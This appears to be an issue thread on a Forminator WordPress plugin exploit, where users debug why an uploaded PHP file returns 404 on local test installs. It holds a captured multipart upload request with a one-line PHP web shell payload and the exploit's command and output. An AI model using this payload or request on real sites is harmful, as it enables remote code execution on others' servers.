Not working on WIndows

[PunitTailor55]

I am trying the given exploit but it is not working on windows.

[+] Sending payload to target
<Response [200]>
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/elsRmvexqL.php

[+] Sending request to uploaded file...
<Response [404]>
[-] Server returned an unexpected response: 404

It is showing file upload successfully but it's giving 404.

[E1A]

Hi there!

Could you check the following things:

• Checking the version with -v to see if its vulnerable (since you run it local I expect you downloaded the vulnerable plugin)
• Checking the folder to see if the file is there
• Checking if you used an postdata file upload and not an regular file upload, you can view this in the forminator page on wp-admin or in the source of the provides URL. (forminator-field-post-image-postdata)

Thanks

[PunitTailor55]

I have a vulnerable version [+] Vulnerable version found: 1.24.6 There is no file in /upload folder.

I have captured the following request in Burp and used your exploit.

------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="postdata-1-post-image"; filename="elsRmvexqL.php"
Content-Type: application/octet-stream

<?php
$_GET['function']($_GET['cmd']);
?>
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="forminator_nonce"

68e7cad1fc
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="_wp_http_referer"

/?page_id=7
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="form_id"

6
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="current_url"

http://127.0.0.1:8000/?page_id=7
------WebKitFormBoundarytsSnyRY1FWmgGHpA
Content-Disposition: form-data; name="action"

forminator_submit_form_custom-forms

In the exploit, the file uploads successfully but no file is created.

[E1A]

Looks indeed that you're using postdata

Just tested it again on the latest windows wp and my file was successfully uploaded but got an 404 but since I installed WordPress in the /wordpress directory. The script only looks for \wp-content\uploads\2023\09\file.php, and it could not locate it. Could this also be the issue for you? Defender was also blocking the file, so that could also be an issue

When installing on xampp, my file location is: C:\xampp\htdocs\wordpress\wp-content\uploads\2023\09 what service are you using and what is yours?

[PunitTailor55]

I am using docker and the file location is /wp-content/uploads/2023/09/adsad.php. I have disabled the firewall but still the issue is there.

[E1A]

Really weird, not sure what could be the issue. Would you be open to calling via discord to find the problem?

[E1A]

ping

[forme9]

Hi, I also have the same problem, how can I solve it?

[E1A]

Hi!

Could you check the following things:

• Checking the version with -v to see if its vulnerable
• Checking the folder to see if the file is there
• Checking if you used a postdata file upload and not a regular file upload, you can view this in the forminator page on wp-admin or in the source of the provides URL. (forminator-field-post-image-postdata)

Thanks

[forme9]

Hi ! Using -v to check the version is vulnerable. I can find "forminator-field-post-image-postdata" in the source code page. I used docker and generated the path (wp-content/uploads/2023/11/NrIaoXkWLS.php) but could not generate the final .php file

Thanks for the help

[E1A]

Can you paste the command you used and the output that you received?

[forme9]

sure! This is the command entered：python exploit.py -u http://127.0.0.1/?p=38 -r This url can normally access the post form page.

output：

[+] Sending payload to target [+] Successful file upload!

Uploaded File Location: http://127.0.0.1/wp-content/uploads/2023/11/ZPowyMwZur.php

[+] Sending request to uploaded file... [-] Server returned an unexpected response: 404

The path is normal and 2023/11 is generated in wp-content/uploads, but the "ZPowyMwZur.php" file is not generated. There is no content under the file path 11

[E1A]

Could you try it with python3?

[forme9]

yes, I 'm using python3.11